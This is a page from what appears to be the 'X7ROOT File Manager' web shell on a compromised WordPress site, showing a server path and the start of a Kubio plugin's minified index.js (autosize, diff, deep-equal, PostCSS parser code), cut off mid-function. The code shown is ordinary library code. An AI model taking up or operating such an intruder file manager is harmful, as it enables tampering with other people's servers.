X7ROOT File Manager
Current Path:
/home/gfecatvj/4abetter.us/wp-content/plugins/kubio/build/block-editor
home
/
gfecatvj
/
4abetter.us
/
wp-content
/
plugins
/
kubio
/
build
/
block-editor
/
📁
..
📄
index.asset.php
(679 B)
📄
index.js
(911.39 KB)
📄
style-rtl.css
(176.93 KB)
📄
style.css
(176.91 KB)
Editing: index.js
(()=>{var e={9367:function(e,t){var n,o;n=function(e,t){"use strict";var n,o,i="function"==typeof Map?new Map:(n=[],o=[],{has:function(e){return n.indexOf(e)>-1},get:function(e){return o[n.indexOf(e)]},set:function(e,t){-1===n.indexOf(e)&&(n.push(e),o.push(t))},delete:function(e){var t=n.indexOf(e);t>-1&&(n.splice(t,1),o.splice(t,1))}}),r=function(e){return new Event(e,{bubbles:!0})};try{new Event("test")}catch(e){r=function(e){var t=document.createEvent("Event");return t.initEvent(e,!0,!1),t}}function l(e){if(e&&e.nodeName&&"TEXTAREA"===e.nodeName&&!i.has(e)){var t=null,n=null,o=null,l=function(){e.clientWidth!==n&&d()},s=function(t){window.removeEventListener("resize",l,!1),e.removeEventListener("input",d,!1),e.removeEventListener("keyup",d,!1),e.removeEventListener("autosize:destroy",s,!1),e.removeEventListener("autosize:update",d,!1),Object.keys(t).forEach((function(n){e.style[n]=t[n]})),i.delete(e)}.bind(e,{height:e.style.height,resize:e.style.resize,overflowY:e.style.overflowY,overflowX:e.style.overflowX,wordWrap:e.style.wordWrap});e.addEventListener("autosize:destroy",s,!1),"onpropertychange"in e&&"oninput"in e&&e.addEventListener("keyup",d,!1),window.addEventListener("resize",l,!1),e.addEventListener("input",d,!1),e.addEventListener("autosize:update",d,!1),e.style.overflowX="hidden",e.style.wordWrap="break-word",i.set(e,{destroy:s,update:d}),"vertical"===(a=window.getComputedStyle(e,null)).resize?e.style.resize="none":"both"===a.resize&&(e.style.resize="horizontal"),t="content-box"===a.boxSizing?-(parseFloat(a.paddingTop)+parseFloat(a.paddingBottom)):parseFloat(a.borderTopWidth)+parseFloat(a.borderBottomWidth),isNaN(t)&&(t=0),d()}var a;function c(t){var n=e.style.width;e.style.width="0px",e.offsetWidth,e.style.width=n,e.style.overflowY=t}function u(){if(0!==e.scrollHeight){var o=function(e){for(var t=[];e&&e.parentNode&&e.parentNode instanceof Element;)e.parentNode.scrollTop&&t.push({node:e.parentNode,scrollTop:e.parentNode.scrollTop}),e=e.parentNode;return t}(e),i=document.documentElement&&document.documentElement.scrollTop;e.style.height="",e.style.height=e.scrollHeight+t+"px",n=e.clientWidth,o.forEach((function(e){e.node.scrollTop=e.scrollTop})),i&&(document.documentElement.scrollTop=i)}}function d(){u();var t=Math.round(parseFloat(e.style.height)),n=window.getComputedStyle(e,null),i="content-box"===n.boxSizing?Math.round(parseFloat(n.height)):e.offsetHeight;if(i<t?"hidden"===n.overflowY&&(c("scroll"),u(),i="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight):"hidden"!==n.overflowY&&(c("hidden"),u(),i="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight),o!==i){o=i;var l=r("autosize:resized");try{e.dispatchEvent(l)}catch(e){}}}}function s(e){var t=i.get(e);t&&t.destroy()}function a(e){var t=i.get(e);t&&t.update()}var c=null;"undefined"==typeof window||"function"!=typeof window.getComputedStyle?((c=function(e){return e}).destroy=function(e){return e},c.update=function(e){return e}):((c=function(e,t){return e&&Array.prototype.forEach.call(e.length?e:[e],(function(e){return l(e)})),e}).destroy=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],s),e},c.update=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],a),e}),t.default=c,e.exports=t.default},void 0===(o=n.apply(t,[e,t]))||(e.exports=o)},1934:e=>{e.exports=function(e,t,n){return((n=window.getComputedStyle)?n(e):e.currentStyle)[t.replace(/-(\w)/gi,(function(e,t){return t.toUpperCase()}))]}},5913:(e,t)=>{"use strict";function n(){}function o(e,t,n,o,i){for(var r,l=[];t;)l.push(t),r=t.previousComponent,delete t.previousComponent,t=r;l.reverse();for(var s=0,a=l.length,c=0,u=0;s<a;s++){var d=l[s];if(d.removed)d.value=e.join(o.slice(u,u+d.count)),u+=d.count;else{if(!d.added&&i){var p=n.slice(c,c+d.count);p=p.map((function(e,t){var n=o[u+t];return n.length>e.length?n:e})),d.value=e.join(p)}else d.value=e.join(n.slice(c,c+d.count));c+=d.count,d.added||(u+=d.count)}}return l}Object.defineProperty(t,"__esModule",{value:!0}),t.default=n,n.prototype={diff:function(e,t){var n,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=i.callback;"function"==typeof i&&(r=i,i={});var l=this;function s(e){return e=l.postProcess(e,i),r?(setTimeout((function(){r(e)}),0),!0):e}e=this.castInput(e,i),t=this.castInput(t,i),e=this.removeEmpty(this.tokenize(e,i));var a=(t=this.removeEmpty(this.tokenize(t,i))).length,c=e.length,u=1,d=a+c;null!=i.maxEditLength&&(d=Math.min(d,i.maxEditLength));var p=null!==(n=i.timeout)&&void 0!==n?n:1/0,h=Date.now()+p,g=[{oldPos:-1,lastComponent:void 0}],f=this.extractCommon(g[0],t,e,0,i);if(g[0].oldPos+1>=c&&f+1>=a)return s(o(l,g[0].lastComponent,t,e,l.useLongestToken));var m=-1/0,v=1/0;function b(){for(var n=Math.max(m,-u);n<=Math.min(v,u);n+=2){var r=void 0,d=g[n-1],p=g[n+1];d&&(g[n-1]=void 0);var h=!1;if(p){var b=p.oldPos-n;h=p&&0<=b&&b<a}var k=d&&d.oldPos+1<c;if(h||k){if(r=!k||h&&d.oldPos<p.oldPos?l.addToPath(p,!0,!1,0,i):l.addToPath(d,!1,!0,1,i),f=l.extractCommon(r,t,e,n,i),r.oldPos+1>=c&&f+1>=a)return s(o(l,r.lastComponent,t,e,l.useLongestToken));g[n]=r,r.oldPos+1>=c&&(v=Math.min(v,n-1)),f+1>=a&&(m=Math.max(m,n+1))}else g[n]=void 0}u++}if(r)!function e(){setTimeout((function(){if(u>d||Date.now()>h)return r();b()||e()}),0)}();else for(;u<=d&&Date.now()<=h;){var k=b();if(k)return k}},addToPath:function(e,t,n,o,i){var r=e.lastComponent;return r&&!i.oneChangePerToken&&r.added===t&&r.removed===n?{oldPos:e.oldPos+o,lastComponent:{count:r.count+1,added:t,removed:n,previousComponent:r.previousComponent}}:{oldPos:e.oldPos+o,lastComponent:{count:1,added:t,removed:n,previousComponent:r}}},extractCommon:function(e,t,n,o,i){for(var r=t.length,l=n.length,s=e.oldPos,a=s-o,c=0;a+1<r&&s+1<l&&this.equals(n[s+1],t[a+1],i);)a++,s++,c++,i.oneChangePerToken&&(e.lastComponent={count:1,previousComponent:e.lastComponent,added:!1,removed:!1});return c&&!i.oneChangePerToken&&(e.lastComponent={count:c,previousComponent:e.lastComponent,added:!1,removed:!1}),e.oldPos=s,a},equals:function(e,t,n){return n.comparator?n.comparator(e,t):e===t||n.ignoreCase&&e.toLowerCase()===t.toLowerCase()},removeEmpty:function(e){for(var t=[],n=0;n<e.length;n++)e[n]&&t.push(e[n]);return t},castInput:function(e){return e},tokenize:function(e){return Array.from(e)},join:function(e){return e.join("")},postProcess:function(e){return e}}},7630:(e,t,n)=>{"use strict";var o;t.Kx=function(e,t,n){return i.diff(e,t,n)};var i=new(((o=n(5913))&&o.__esModule?o:{default:o}).default)},2991:e=>{"use strict";e.exports=function e(t,n){if(t===n)return!0;if(t&&n&&"object"==typeof t&&"object"==typeof n){if(t.constructor!==n.constructor)return!1;var o,i,r;if(Array.isArray(t)){if((o=t.length)!=n.length)return!1;for(i=o;0!=i--;)if(!e(t[i],n[i]))return!1;return!0}if(t instanceof Map&&n instanceof Map){if(t.size!==n.size)return!1;for(i of t.entries())if(!n.has(i[0]))return!1;for(i of t.entries())if(!e(i[1],n.get(i[0])))return!1;return!0}if(t instanceof Set&&n instanceof Set){if(t.size!==n.size)return!1;for(i of t.entries())if(!n.has(i[0]))return!1;return!0}if(ArrayBuffer.isView(t)&&ArrayBuffer.isView(n)){if((o=t.length)!=n.length)return!1;for(i=o;0!=i--;)if(t[i]!==n[i])return!1;return!0}if(t.constructor===RegExp)return t.source===n.source&&t.flags===n.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===n.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===n.toString();if((o=(r=Object.keys(t)).length)!==Object.keys(n).length)return!1;for(i=o;0!=i--;)if(!Object.prototype.hasOwnProperty.call(n,r[i]))return!1;for(i=o;0!=i--;){var l=r[i];if(!e(t[l],n[l]))return!1}return!0}return t!=t&&n!=n}},4063:e=>{"use strict";e.exports=function e(t,n){if(t===n)return!0;if(t&&n&&"object"==typeof t&&"object"==typeof n){if(t.constructor!==n.constructor)return!1;var o,i,r;if(Array.isArray(t)){if((o=t.length)!=n.length)return!1;for(i=o;0!=i--;)if(!e(t[i],n[i]))return!1;return!0}if(t.constructor===RegExp)return t.source===n.source&&t.flags===n.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===n.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===n.toString();if((o=(r=Object.keys(t)).length)!==Object.keys(n).length)return!1;for(i=o;0!=i--;)if(!Object.prototype.hasOwnProperty.call(n,r[i]))return!1;for(i=o;0!=i--;){var l=r[i];if(!e(t[l],n[l]))return!1}return!0}return t!=t&&n!=n}},8303:(e,t,n)=>{var o=n(1934);e.exports=function(e){var t=o(e,"line-height"),n=parseFloat(t,10);if(t===n+""){var i=e.style.lineHeight;e.style.lineHeight=t+"em",t=o(e,"line-height"),n=parseFloat(t,10),i?e.style.lineHeight=i:delete e.style.lineHeight}if(-1!==t.indexOf("pt")?(n*=4,n/=3):-1!==t.indexOf("mm")?(n*=96,n/=25.4):-1!==t.indexOf("cm")?(n*=96,n/=2.54):-1!==t.indexOf("in")?n*=96:-1!==t.indexOf("pc")&&(n*=16),n=Math.round(n),"normal"===t){var r=e.nodeName,l=document.createElement(r);l.innerHTML=" ","TEXTAREA"===r.toUpperCase()&&l.setAttribute("rows","1");var s=o(e,"font-size");l.style.fontSize=s,l.style.padding="0px",l.style.border="0px";var a=document.body;a.appendChild(l),n=l.offsetHeight,a.removeChild(l)}return n}},9588:e=>{e.exports=function(e,t){var n,o,i=0;function r(){var r,l,s=n,a=arguments.length;e:for(;s;){if(s.args.length===arguments.length){for(l=0;l<a;l++)if(s.args[l]!==arguments[l]){s=s.next;continue e}return s!==n&&(s===o&&(o=s.prev),s.prev.next=s.next,s.next&&(s.next.prev=s.prev),s.next=n,s.prev=null,n.prev=s,n=s),s.val}s=s.next}for(r=new Array(a),l=0;l<a;l++)r[l]=arguments[l];return s={args:r,val:e.apply(null,r)},n?(n.prev=s,s.next=n):o=s,i===t.maxSize?(o=o.prev).next=null:i++,n=s,s.val}return t=t||{},r.clear=function(){n=null,o=null,i=0},r}},2796:(e,t,n)=>{e.exports=n(643)},3264:e=>{"use strict";var t=!("undefined"==typeof window||!window.document||!window.document.createElement),n={canUseDOM:t,canUseWorkers:"undefined"!=typeof Worker,canUseEventListeners:t&&!(!window.addEventListener&&!window.attachEvent),canUseViewport:t&&!!window.screen,isInWorker:!t};e.exports=n},4518:e=>{var t,n,o,i,r,l,s,a,c,u,d,p,h,g,f,m=!1;function v(){if(!m){m=!0;var e=navigator.userAgent,v=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))|(?:Trident\/\d+\.\d+.*rv:(\d+\.\d+))/.exec(e),b=/(Mac OS X)|(Windows)|(Linux)/.exec(e);if(p=/\b(iPhone|iP[ao]d)/.exec(e),h=/\b(iP[ao]d)/.exec(e),u=/Android/i.exec(e),g=/FBAN\/\w+;/i.exec(e),f=/Mobile/i.exec(e),d=!!/Win64/.exec(e),v){(t=v[1]?parseFloat(v[1]):v[5]?parseFloat(v[5]):NaN)&&document&&document.documentMode&&(t=document.documentMode);var k=/(?:Trident\/(\d+.\d+))/.exec(e);l=k?parseFloat(k[1])+4:t,n=v[2]?parseFloat(v[2]):NaN,o=v[3]?parseFloat(v[3]):NaN,(i=v[4]?parseFloat(v[4]):NaN)?(v=/(?:Chrome\/(\d+\.\d+))/.exec(e),r=v&&v[1]?parseFloat(v[1]):NaN):r=NaN}else t=n=o=r=i=NaN;if(b){if(b[1]){var _=/(?:Mac OS X (\d+(?:[._]\d+)?))/.exec(e);s=!_||parseFloat(_[1].replace("_","."))}else s=!1;a=!!b[2],c=!!b[3]}else s=a=c=!1}}var b={ie:function(){return v()||t},ieCompatibilityMode:function(){return v()||l>t},ie64:function(){return b.ie()&&d},firefox:function(){return v()||n},opera:function(){return v()||o},webkit:function(){return v()||i},safari:function(){return b.webkit()},chrome:function(){return v()||r},windows:function(){return v()||a},osx:function(){return v()||s},linux:function(){return v()||c},iphone:function(){return v()||p},mobile:function(){return v()||p||h||u||f},nativeApp:function(){return v()||g},android:function(){return v()||u},ipad:function(){return v()||h}};e.exports=b},6534:(e,t,n)=>{"use strict";var o,i=n(3264);i.canUseDOM&&(o=document.implementation&&document.implementation.hasFeature&&!0!==document.implementation.hasFeature("","")),e.exports=function(e,t){if(!i.canUseDOM||t&&!("addEventListener"in document))return!1;var n="on"+e,r=n in document;if(!r){var l=document.createElement("div");l.setAttribute(n,"return;"),r="function"==typeof l[n]}return!r&&o&&"wheel"===e&&(r=document.implementation.hasFeature("Events.wheel","3.0")),r}},643:(e,t,n)=>{"use strict";var o=n(4518),i=n(6534);function r(e){var t=0,n=0,o=0,i=0;return"detail"in e&&(n=e.detail),"wheelDelta"in e&&(n=-e.wheelDelta/120),"wheelDeltaY"in e&&(n=-e.wheelDeltaY/120),"wheelDeltaX"in e&&(t=-e.wheelDeltaX/120),"axis"in e&&e.axis===e.HORIZONTAL_AXIS&&(t=n,n=0),o=10*t,i=10*n,"deltaY"in e&&(i=e.deltaY),"deltaX"in e&&(o=e.deltaX),(o||i)&&e.deltaMode&&(1==e.deltaMode?(o*=40,i*=40):(o*=800,i*=800)),o&&!t&&(t=o<1?-1:1),i&&!n&&(n=i<1?-1:1),{spinX:t,spinY:n,pixelX:o,pixelY:i}}r.getEventType=function(){return o.firefox()?"DOMMouseScroll":i("wheel")?"wheel":"mousewheel"},e.exports=r},4241:e=>{var t=String,n=function(){return{isColorSupported:!1,reset:t,bold:t,dim:t,italic:t,underline:t,inverse:t,hidden:t,strikethrough:t,black:t,red:t,green:t,yellow:t,blue:t,magenta:t,cyan:t,white:t,gray:t,bgBlack:t,bgRed:t,bgGreen:t,bgYellow:t,bgBlue:t,bgMagenta:t,bgCyan:t,bgWhite:t,blackBright:t,redBright:t,greenBright:t,yellowBright:t,blueBright:t,magentaBright:t,cyanBright:t,whiteBright:t,bgBlackBright:t,bgRedBright:t,bgGreenBright:t,bgYellowBright:t,bgBlueBright:t,bgMagentaBright:t,bgCyanBright:t,bgWhiteBright:t}};e.exports=n(),e.exports.createColors=n},1119:e=>{function t(e,t){return t.some((t=>t instanceof RegExp?t.test(e):e.includes(t)))}e.exports=function(e){const n=e.prefix,o=/\s+$/.test(n)?n:`${n} `,i=e.ignoreFiles?[].concat(e.ignoreFiles):[],r=e.includeFiles?[].concat(e.includeFiles):[];return function(l){i.length&&l.source.input.file&&t(l.source.input.file,i)||r.length&&l.source.input.file&&!t(l.source.input.file,r)||l.walkRules((t=>{t.parent&&["keyframes","-webkit-keyframes","-moz-keyframes","-o-keyframes","-ms-keyframes"].includes(t.parent.name)||(t.selectors=t.selectors.map((i=>e.exclude&&function(e,t){return t.some((t=>t instanceof RegExp?t.test(e):e===t))}(i,e.exclude)?i:e.transform?e.transform(n,i,o+i,l.source.input.file,t):o+i)))}))}}},3418:(e,t,n)=>{const o=n(9254);e.exports=e=>{const t=Object.assign({skipHostRelativeUrls:!0},e);return{postcssPlugin:"rebaseUrl",Declaration(n){const i=o(n.value);let r=!1;i.walk((n=>{if("function"!==n.type||"url"!==n.value)return;const o=n.nodes[0].value,i=new URL(o,e.rootUrl);return i.pathname===o&&t.skipHostRelativeUrls||(n.nodes[0].value=i.toString(),r=!0),!1})),r&&(n.value=o.stringify(i))}}},e.exports.postcss=!0},9254:(e,t,n)=>{var o=n(788),i=n(5959),r=n(1120);function l(e){return this instanceof l?(this.nodes=o(e),this):new l(e)}l.prototype.toString=function(){return Array.isArray(this.nodes)?r(this.nodes):""},l.prototype.walk=function(e,t){return i(this.nodes,e,t),this},l.unit=n(3433),l.walk=i,l.stringify=r,e.exports=l},788:e=>{var t="(".charCodeAt(0),n=")".charCodeAt(0),o="'".charCodeAt(0),i='"'.charCodeAt(0),r="\\".charCodeAt(0),l="/".charCodeAt(0),s=",".charCodeAt(0),a=":".charCodeAt(0),c="*".charCodeAt(0),u="u".charCodeAt(0),d="U".charCodeAt(0),p="+".charCodeAt(0),h=/^[a-f0-9?-]+$/i;e.exports=function(e){for(var g,f,m,v,b,k,_,y,x,S=[],w=e,C=0,B=w.charCodeAt(C),I=w.length,j=[{nodes:S}],E=0,T="",P="",M="";C<I;)if(B<=32){g=C;do{g+=1,B=w.charCodeAt(g)}while(B<=32);v=w.slice(C,g),m=S[S.length-1],B===n&&E?M=v:m&&"div"===m.type?(m.after=v,m.sourceEndIndex+=v.length):B===s||B===a||B===l&&w.charCodeAt(g+1)!==c&&(!x||x&&"function"===x.type&&"calc"!==x.value)?P=v:S.push({type:"space",sourceIndex:C,sourceEndIndex:g,value:v}),C=g}else if(B===o||B===i){g=C,v={type:"string",sourceIndex:C,quote:f=B===o?"'":'"'};do{if(b=!1,~(g=w.indexOf(f,g+1)))for(k=g;w.charCodeAt(k-1)===r;)k-=1,b=!b;else g=(w+=f).length-1,v.unclosed=!0}while(b);v.value=w.slice(C+1,g),v.sourceEndIndex=v.unclosed?g:g+1,S.push(v),C=g+1,B=w.charCodeAt(C)}else if(B===l&&w.charCodeAt(C+1)===c)v={type:"comment",sourceIndex:C,sourceEndIndex:(g=w.indexOf("*/",C))+2},-1===g&&(v.unclosed=!0,g=w.length,v.sourceEndIndex=g),v.value=w.slice(C+2,g),S.push(v),C=g+2,B=w.charCodeAt(C);else if(B!==l&&B!==c||!x||"function"!==x.type||"calc"!==x.value)if(B===l||B===s||B===a)v=w[C],S.push({type:"div",sourceIndex:C-P.length,sourceEndIndex:C+v.length,value:v,before:P,after:""}),P="",C+=1,B=w.charCodeAt(C);else if(t===B){g=C;do{g+=1,B=w.charCodeAt(g)}while(B<=32);if(y=C,v={type:"function",sourceIndex:C-T.length,value:T,before:w.slice(y+1,g)},C=g,"url"===T&&B!==o&&B!==i){g-=1;do{if(b=!1,~(g=w.indexOf(")",g+1)))for(k=g;w.charCodeAt(k-1)===r;)k-=1,b=!b;else g=(w+=")").length-1,v.unclosed=!0}while(b);_=g;do{_-=1,B=w.charCodeAt(_)}while(B<=32);y<_?(v.nodes=C!==_+1?[{type:"word",sourceIndex:C,sourceEndIndex:_+1,value:w.slice(C,_+1)}]:[],v.unclosed&&_+1!==g?(v.after="",v.nodes.push({type:"space",sourceIndex:_+1,sourceEndIndex:g,value:w.slice(_+1,g)})):(v.after=w.slice(_+1,g),v.sourceEndIndex=g)):(v.after="",v.nodes=[]),C=g+1,v.sourceEndIndex=v.unclosed?g:C,B=w.charCodeAt(C),S.push(v)}else E+=1,v.after="",v.sourceEndIndex=C+1,S.push(v),j.push(v),S=v.nodes=[],x=v;T=""}else if(n===B&&E)C+=1,B=w.charCodeAt(C),x.after=M,x.sourceEndIndex+=M.length,M="",E-=1,j[j.length-1].sourceEndIndex=C,j.pop(),S=(x=j[E]).nodes;else{g=C;do{B===r&&(g+=1),g+=1,B=w.charCodeAt(g)}while(g<I&&!(B<=32||B===o||B===i||B===s||B===a||B===l||B===t||B===c&&x&&"function"===x.type&&"calc"===x.value||B===l&&"function"===x.type&&"calc"===x.value||B===n&&E));v=w.slice(C,g),t===B?T=v:u!==v.charCodeAt(0)&&d!==v.charCodeAt(0)||p!==v.charCodeAt(1)||!h.test(v.slice(2))?S.push({type:"word",sourceIndex:C,sourceEndIndex:g,value:v}):S.push({type:"unicode-range",sourceIndex:C,sourceEndIndex:g,value:v}),C=g}else v=w[C],S.push({type:"word",sourceIndex:C-P.length,sourceEndIndex:C+v.length,value:v}),C+=1,B=w.charCodeAt(C);for(C=j.length-1;C;C-=1)j[C].unclosed=!0,j[C].sourceEndIndex=w.length;return j[0].nodes}},1120:e=>{function t(e,t){var o,i,r=e.type,l=e.value;return t&&void 0!==(i=t(e))?i:"word"===r||"space"===r?l:"string"===r?(o=e.quote||"")+l+(e.unclosed?"":o):"comment"===r?"/*"+l+(e.unclosed?"":"*/"):"div"===r?(e.before||"")+l+(e.after||""):Array.isArray(e.nodes)?(o=n(e.nodes,t),"function"!==r?o:l+"("+(e.before||"")+o+(e.after||"")+(e.unclosed?"":")")):l}function n(e,n){var o,i;if(Array.isArray(e)){for(o="",i=e.length-1;~i;i-=1)o=t(e[i],n)+o;return o}return t(e,n)}e.exports=n},3433:e=>{var t="-".charCodeAt(0),n="+".charCodeAt(0),o=".".charCodeAt(0),i="e".charCodeAt(0),r="E".charCodeAt(0);e.exports=function(e){var l,s,a,c=0,u=e.length;if(0===u||!function(e){var i,r=e.charCodeAt(0);if(r===n||r===t){if((i=e.charCodeAt(1))>=48&&i<=57)return!0;var l=e.charCodeAt(2);return i===o&&l>=48&&l<=57}return r===o?(i=e.charCodeAt(1))>=48&&i<=57:r>=48&&r<=57}(e))return!1;for((l=e.charCodeAt(c))!==n&&l!==t||c++;c<u&&!((l=e.charCodeAt(c))<48||l>57);)c+=1;if(l=e.charCodeAt(c),s=e.charCodeAt(c+1),l===o&&s>=48&&s<=57)for(c+=2;c<u&&!((l=e.charCodeAt(c))<48||l>57);)c+=1;if(l=e.charCodeAt(c),s=e.charCodeAt(c+1),a=e.charCodeAt(c+2),(l===i||l===r)&&(s>=48&&s<=57||(s===n||s===t)&&a>=48&&a<=57))for(c+=s===n||s===t?3:2;c<u&&!((l=e.charCodeAt(c))<48||l>57);)c+=1;return{number:e.slice(0,c),unit:e.slice(c)}}},5959:e=>{e.exports=function e(t,n,o){var i,r,l,s;for(i=0,r=t.length;i<r;i+=1)l=t[i],o||(s=n(l,i,t)),!1!==s&&"function"===l.type&&Array.isArray(l.nodes)&&e(l.nodes,n,o),o&&n(l,i,t)}},1353:(e,t,n)=>{"use strict";let o=n(1019);class i extends o{constructor(e){super(e),this.type="atrule"}append(...e){return this.proxyOf.nodes||(this.nodes=[]),super.append(...e)}prepend(...e){return this.proxyOf.nodes||(this.nodes=[]),super.prepend(...e)}}e.exports=i,i.default=i,o.registerAtRule(i)},9932:(e,t,n)=>{"use strict";let o=n(5631);class i extends o{constructor(e){super(e),this.type="comment"}}e.exports=i,i.default=i},1019:(e,t,n)=>{"use strict";let o,i,r,{isClean:l,my:s}=n(5513),a=n(4258),c=n(9932),u=n(5631);function d(e){return e.map((e=>(e.nodes&&(e.nodes=d(e.nodes)),delete e.source,e)))}function p(e){if(e[l]=!1,e.proxyOf.nodes)for(let t of e.proxyOf.nodes)p(t)}class h extends u{push(e){return e.parent=this,this.proxyOf.nodes.push(e),this}each(e){if(!this.proxyOf.nodes)return;let t,n,o=this.getIterator();for(;this.indexes[o]<this.proxyOf.nodes.length&&(t=this.indexes[o],n=e(this.proxyOf.nodes[t],t),!1!==n);)this.indexes[o]+=1;return delete this.indexes[o],n}walk(e){return this.each(((t,n)=>{let o;try{o=e(t,n)}catch(e){throw t.addToError(e)}return!1!==o&&t.walk&&(o=t.walk(e)),o}))}walkDecls(e,t){return t?e instanceof RegExp?this.walk(((n,o)=>{if("decl"===n.type&&e.test(n.prop))return t(n,o)})):this.walk(((n,o)=>{if("decl"===n.type&&n.prop===e)return t(n,o)})):(t=e,this.walk(((e,n)=>{if("decl"===e.type)return t(e,n)})))}walkRules(e,t){return t?e instanceof RegExp?this.walk(((n,o)=>{if("rule"===n.type&&e.test(n.selector))return t(n,o)})):this.walk(((n,o)=>{if("rule"===n.type&&n.selector===e)return t(n,o)})):(t=e,this.walk(((e,n)=>{if("rule"===e.type)return t(e,n)})))}walkAtRules(e,t){return t?e instanceof RegExp?this.walk(((n,o)=>{if("atrule"===n.type&&e.test(n.name))return t(n,o)})):this.walk(((n,o)=>{if("atrule"===n.type&&n.name===e)return t(n,o)})):(t=e,this.walk(((e,n)=>{if("atrule"===e.type)return t(e,n)})))}walkComments(e){return this.walk(((t,n)=>{if("comment"===t.type)return e(t,n)}))}append(...e){for(let t of e){let e=this.normalize(t,this.last);for(let t of e)this.proxyOf.nodes.push(t)}return this.markDirty(),this}prepend(...e){e=e.reverse();for(let t of e){let e=this.normalize(t,this.first,"prepend").reverse();for(let t of e)this.proxyOf.nodes.unshift(t);for(let t in this.indexes)this.indexes[t]=this.indexes[t]+e.length}return this.markDirty(),this}cleanRaws(e){if(super.cleanRaws(e),this.nodes)for(let t of this.nodes)t.cleanRaws(e)}insertBefore(e,t){let n,o=0===(e=this.index(e))&&"prepend",i=this.normalize(t,this.proxyOf.nodes[e],o).reverse();for(let t of i)this.proxyOf.nodes.splice(e,0,t);for(let t in this.indexes)n=this.indexes[t],e<=n&&(this.indexes[t]=n+i.length);return this.markDirty(),this}insertAfter(e,t){e=this.index(e);let n,o=this.normalize(t,this.proxyOf.nodes[e]).reverse();for(let t of o)this.proxyOf.nodes.splice(e+1,0,t);for(let t in this.indexes)n=this.indexes[t],e<n&&(this.indexes[t]=n+o.length);return this.markDirty(),this}removeChild(e){let t;e=this.index(e),this.proxyOf.nodes[e].parent=void 0,this.proxyOf.nodes.splice(e,1);for(let n in this.indexes)t=this.indexes[n],t>=e&&(this.indexes[n]=t-1);return this.markDirty(),this}removeAll(){for(let e of this.proxyOf.nodes)e.parent=void 0;return this.proxyOf.nodes=[],this.markDirty(),this}replaceValues(e,t,n){return n||(n=t,t={}),this.walkDecls((o=>{t.props&&!t.props.includes(o.prop)||t.fast&&!o.value.includes(t.fast)||(o.value=o.value.replace(e,n))})),this.markDirty(),this}every(e){return this.nodes.every(e)}some(e){return this.nodes.some(e)}index(e){return"number"==typeof e?e:(e.proxyOf&&(e=e.proxyOf),this.proxyOf.nodes.indexOf(e))}get first(){if(this.proxyOf.nodes)return this.proxyOf.nodes[0]}get last(){if(this.proxyOf.nodes)return this.proxyOf.nodes[this.proxyOf.nodes.length-1]}normalize(e,t){if("string"==typeof e)e=d(o(e).nodes);else if(Array.isArray(e)){e=e.slice(0);for(let t of e)t.parent&&t.parent.removeChild(t,"ignore")}else if("root"===e.type&&"document"!==this.type){e=e.nodes.slice(0);for(let t of e)t.parent&&t.parent.removeChild(t,"ignore")}else if(e.type)e=[e];else if(e.prop){if(void 0===e.value)throw new Error("Value field is missed in node creation");"string"!=typeof e.value&&(e.value=String(e.value)),e=[new a(e)]}else if(e.selector)e=[new i(e)];else if(e.name)e=[new r(e)];else{if(!e.text)throw new Error("Unknown node type in node creation");e=[new c(e)]}return e.map((e=>(e[s]||h.rebuild(e),(e=e.proxyOf).parent&&e.parent.removeChild(e),e[l]&&p(e),void 0===e.raws.before&&t&&void 0!==t.raws.before&&(e.raws.before=t.raws.before.replace(/\S/g,"")),e.parent=this.proxyOf,e)))}getProxyProcessor(){return{set:(e,t,n)=>(e[t]===n||(e[t]=n,"name"!==t&&"params"!==t&&"selector"!==t||e.markDirty()),!0),get:(e,t)=>"proxyOf"===t?e:e[t]?"each"===t||"string"==typeof t&&t.startsWith("walk")?(...n)=>e[t](...n.map((e=>"function"==typeof e?(t,n)=>e(t.toProxy(),n):e))):"every"===t||"some"===t?n=>e[t](((e,...t)=>n(e.toProxy(),...t))):"root"===t?()=>e.root().toProxy():"nodes"===t?e.nodes.map((e=>e.toProxy())):"first"===t||"last"===t?e[t].toProxy():e[t]:e[t]}}getIterator(){this.lastEach||(this.lastEach=0),this.indexes||(this.indexes={}),this.lastEach+=1;let e=this.lastEach;return this.indexes[e]=0,e}}h.registerParse=e=>{o=e},h.registerRule=e=>{i=e},h.registerAtRule=e=>{r=e},e.exports=h,h.default=h,h.rebuild=e=>{"atrule"===e.type?Object.setPrototypeOf(e,r.prototype):"rule"===e.type?Object.setPrototypeOf(e,i.prototype):"decl"===e.type?Object.setPrototypeOf(e,a.prototype):"comment"===e.type&&Object.setPrototypeOf(e,c.prototype),e[s]=!0,e.nodes&&e.nodes.forEach((e=>{h.rebuild(e)}))}},2671:(e,t,n)=>{"use strict";let o=n(4241),i=n(2868);class r extends Error{constructor(e,t,n,o,i,l){super(e),this.name="CssSyntaxError",this.reason=e,i&&(this.file=i),o&&(this.source=o),l&&(this.plugin=l),void 0!==t&&void 0!==n&&("number"==typeof t?(this.line=t,this.column=n):(this.line=t.line,this.column=t.column,this.endLine=n.line,this.endColumn=n.column)),this.setMessage(),Error.captureStackTrace&&Error.captureStackTrace(this,r)}setMessage(){this.message=this.plugin?this.plugin+": ":"",this.message+=this.file?this.file:"<css input>",void 0!==this.line&&(this.message+=":"+this.line+":"+this.column),this.message+=": "+this.reason}showSourceCode(e){if(!this.source)return"";let t=this.source;null==e&&(e=o.isColorSupported),i&&e&&(t=i(t));let n,r,l=t.split(/\r?\n/),s=Math.max(this.line-3,0),a=Math.min(this.line+2,l.length),c=String(a).length;if(e){let{bold:e,red:t,gray:i}=o.createColors(!0);n=n=>e(t(n)),r=e=>i(e)}else n=r=e=>e;return l.slice(s,a).map(((e,t)=>{let o=s+1+t,i=" "+(" "+o).slice(-c)+" | ";if(o===this.line){let t=r(i.replace(/\d/g," "))+e.slice(0,this.column-1).replace(/[^\t]/g," ");return 